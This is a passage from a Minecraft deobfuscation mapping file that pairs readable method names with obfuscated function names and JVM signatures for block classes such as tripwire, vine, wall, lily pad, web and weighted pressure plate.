(Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockTripWire/onEntityCollidedWithBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockTripWire/func_180634_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockTripWire/onBlockHarvested (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/block/BlockTripWire/func_176208_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/block/BlockTripWire/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockTripWire/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockTripWire/getActualState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockTripWire/func_176221_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockTripWire/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockTripWire/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockTripWire/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockTripWire/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockTripWire/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockTripWire/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockTripWire/isOpaqueCube ()Z net/minecraft/block/BlockTripWire/func_149662_c ()Z +MD: net/minecraft/block/BlockTripWire/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockTripWire/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockTripWire/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockTripWire/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockTripWire/isConnectedTo (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockTripWire/func_176287_c (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockTripWire/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockTripWire/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockTripWire/isFullCube ()Z net/minecraft/block/BlockTripWire/func_149686_d ()Z +MD: net/minecraft/block/BlockTripWire/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockTripWire/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockTripWire/updateState (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockTripWire/func_176288_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockTripWire/notifyHook (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockTripWire/func_176286_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockTripWire/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockTripWire/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockTripWireHook/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockTripWireHook/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockTripWireHook/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockTripWireHook/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockTripWireHook/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockTripWireHook/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockTripWireHook/randomTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockTripWireHook/func_180645_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockTripWireHook/onBlockPlacedBy (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V net/minecraft/block/BlockTripWireHook/func_180633_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/block/BlockTripWireHook/func_176260_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;ZZILnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockTripWireHook/func_176260_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;ZZILnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockTripWireHook/func_176262_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)V net/minecraft/block/BlockTripWireHook/func_176262_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)V +MD: net/minecraft/block/BlockTripWireHook/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockTripWireHook/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockTripWireHook/func_180694_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;ZZZZ)V net/minecraft/block/BlockTripWireHook/func_180694_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;ZZZZ)V +MD: net/minecraft/block/BlockTripWireHook/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockTripWireHook/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockTripWireHook/getWeakPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockTripWireHook/func_180656_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockTripWireHook/getActualState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockTripWireHook/func_176221_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockTripWireHook/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockTripWireHook/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockTripWireHook/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockTripWireHook/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockTripWireHook/canPlaceBlockOnSide (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockTripWireHook/func_176198_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockTripWireHook/getStrongPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockTripWireHook/func_176211_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockTripWireHook/isOpaqueCube ()Z net/minecraft/block/BlockTripWireHook/func_149662_c ()Z +MD: net/minecraft/block/BlockTripWireHook/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockTripWireHook/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockTripWireHook/isFullCube ()Z net/minecraft/block/BlockTripWireHook/func_149686_d ()Z +MD: net/minecraft/block/BlockTripWireHook/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockTripWireHook/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockTripWireHook/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockTripWireHook/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockTripWireHook/checkForDrop (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockTripWireHook/func_176261_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockTripWireHook/canProvidePower ()Z net/minecraft/block/BlockTripWireHook/func_149744_f ()Z +MD: net/minecraft/block/BlockTripWireHook/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockTripWireHook/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockVine/getBlockColor ()I net/minecraft/block/BlockVine/func_149635_D ()I +MD: net/minecraft/block/BlockVine/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockVine/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockVine/isReplaceable (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockVine/func_176200_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockVine/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockVine/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockVine/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockVine/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockVine/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockVine/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockVine/harvestBlock (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/tileentity/TileEntity;)V net/minecraft/block/BlockVine/func_180657_a (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/tileentity/TileEntity;)V +MD: net/minecraft/block/BlockVine/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockVine/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockVine/colorMultiplier (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I net/minecraft/block/BlockVine/func_180662_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/block/BlockVine/getActualState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockVine/func_176221_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockVine/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockVine/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockVine/getPropertyFor (Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/block/properties/PropertyBool; net/minecraft/block/BlockVine/func_176267_a (Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/block/properties/PropertyBool; +MD: net/minecraft/block/BlockVine/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockVine/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockVine/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockVine/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockVine/canPlaceBlockOnSide (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockVine/func_176198_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockVine/isOpaqueCube ()Z net/minecraft/block/BlockVine/func_149662_c ()Z +MD: net/minecraft/block/BlockVine/canPlaceOn (Lnet/minecraft/block/Block;)Z net/minecraft/block/BlockVine/func_150093_a (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/BlockVine/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockVine/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockVine/isFullCube ()Z net/minecraft/block/BlockVine/func_149686_d ()Z +MD: net/minecraft/block/BlockVine/getNumGrownFaces (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockVine/func_176268_d (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockVine/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockVine/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockVine/recheckGrownSides (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockVine/func_176269_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockVine/getRenderColor (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockVine/func_180644_h (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockVine/setBlockBoundsForItemRender ()V net/minecraft/block/BlockVine/func_149683_g ()V +MD: net/minecraft/block/BlockVine/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockVine/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockWall$EnumType/getMetadata ()I net/minecraft/block/BlockWall$EnumType/func_176657_a ()I +MD: net/minecraft/block/BlockWall$EnumType/byMetadata (I)Lnet/minecraft/block/BlockWall$EnumType; net/minecraft/block/BlockWall$EnumType/func_176660_a (I)Lnet/minecraft/block/BlockWall$EnumType; +MD: net/minecraft/block/BlockWall$EnumType/getUnlocalizedName ()Ljava/lang/String; net/minecraft/block/BlockWall$EnumType/func_176659_c ()Ljava/lang/String; +MD: net/minecraft/block/BlockWall$EnumType/getName ()Ljava/lang/String; net/minecraft/block/BlockWall$EnumType/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockWall$EnumType/toString ()Ljava/lang/String; net/minecraft/block/BlockWall$EnumType/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockWall$EnumType/values ()[Lnet/minecraft/block/BlockWall$EnumType; net/minecraft/block/BlockWall$EnumType/values ()[Lnet/minecraft/block/BlockWall$EnumType; +MD: net/minecraft/block/BlockWall/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockWall/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockWall/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockWall/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockWall/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockWall/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockWall/shouldSideBeRendered (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockWall/func_176225_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockWall/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockWall/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockWall/getActualState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockWall/func_176221_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockWall/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockWall/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockWall/isPassable (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockWall/func_176205_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockWall/isOpaqueCube ()Z net/minecraft/block/BlockWall/func_149662_c ()Z +MD: net/minecraft/block/BlockWall/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockWall/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockWall/isFullCube ()Z net/minecraft/block/BlockWall/func_149686_d ()Z +MD: net/minecraft/block/BlockWall/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockWall/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockWall/canConnectTo (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockWall/func_176253_e (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockWall/getLocalizedName ()Ljava/lang/String; net/minecraft/block/BlockWall/func_149732_F ()Ljava/lang/String; +MD: net/minecraft/block/BlockWallSign/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockWallSign/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockWallSign/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockWallSign/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockWallSign/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockWallSign/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockWallSign/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockWallSign/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockWallSign/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockWallSign/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockLilyPad/getBlockColor ()I net/minecraft/block/BlockLilyPad/func_149635_D ()I +MD: net/minecraft/block/BlockLilyPad/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockLilyPad/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockLilyPad/addCollisionBoxesToList (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockLilyPad/func_180638_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockLilyPad/colorMultiplier (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I net/minecraft/block/BlockLilyPad/func_180662_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/block/BlockLilyPad/canPlaceBlockOn (Lnet/minecraft/block/Block;)Z net/minecraft/block/BlockLilyPad/func_149854_a (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/BlockLilyPad/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockLilyPad/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockLilyPad/canBlockStay (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockLilyPad/func_180671_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockLilyPad/getRenderColor (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockLilyPad/func_180644_h (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockWeb/canSilkHarvest ()Z net/minecraft/block/BlockWeb/func_149700_E ()Z +MD: net/minecraft/block/BlockWeb/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockWeb/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockWeb/onEntityCollidedWithBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockWeb/func_180634_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockWeb/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockWeb/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockWeb/isOpaqueCube ()Z net/minecraft/block/BlockWeb/func_149662_c ()Z +MD: net/minecraft/block/BlockWeb/isFullCube ()Z net/minecraft/block/BlockWeb/func_149686_d ()Z +MD: net/minecraft/block/BlockWeb/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockWeb/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockPressurePlateWeighted/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockPressurePlateWeighted/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockPressurePlateWeighted/tickRate (Lnet/minecraft/world/World;)I net/minecraft/block/BlockPressurePlateWeighted/func_149738_a (Lnet/minecraft/world/World;)I +MD: net/minecraft/block/BlockPressurePlateWeighted/setRedstoneStrength (Lnet/minecraft/block/state/IBlockState;I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockPressurePlateWeighted/func_176575_a (Lnet/minecraft/block/state/IBlockState;I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockPressurePlateWeighted/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockPressurePlateWeighted/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockPressurePlateWeighted/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockPressurePlateWeighted/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockPressurePlateWeighted/getRedstoneStrength (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockPressurePlateWeighted/func_176576_e (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockPressurePlateWeighted/computeRedstoneStrength (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockPressurePlateWeighted/func_180669_e 